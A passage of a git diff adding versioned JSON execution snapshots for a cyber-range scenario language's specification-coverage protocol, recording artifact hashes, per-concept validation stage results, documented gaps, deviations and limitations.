"compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "d6a39a62f389a683207a7378378e9c0df3a87e88c44f677617be7af905141d79", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "27cf5d5bac07ef4b79d922e7c924832c89f13f12ab7e3a441b1a97557dba2b14", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "7de8bf15504fd996b11c7b9f15d0743b452d1c438b37174124097ff2f2a11028", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "79c50a957063948d459dcdcf806f57ddea1976b5", + "snapshot_id": "raes-standardized-specification-coverage-issue-1359-v64", + "snapshot_revision": "64.0.0", + "source_state": { + "base_revision": "79c50a957063948d459dcdcf806f57ddea1976b5", + "checkout_state": "modified", + "implementation_digest": "4ab81643232b50f4a087303ce3b3a55bd90a69b3828b8814e7b9b29af35a0542", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v65.json b/docs/research/specification-coverage/execution-snapshot-v65.json new file mode 100644 index 000000000..dc3ab79b0 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v65.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-30T21:48:40.529064+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + 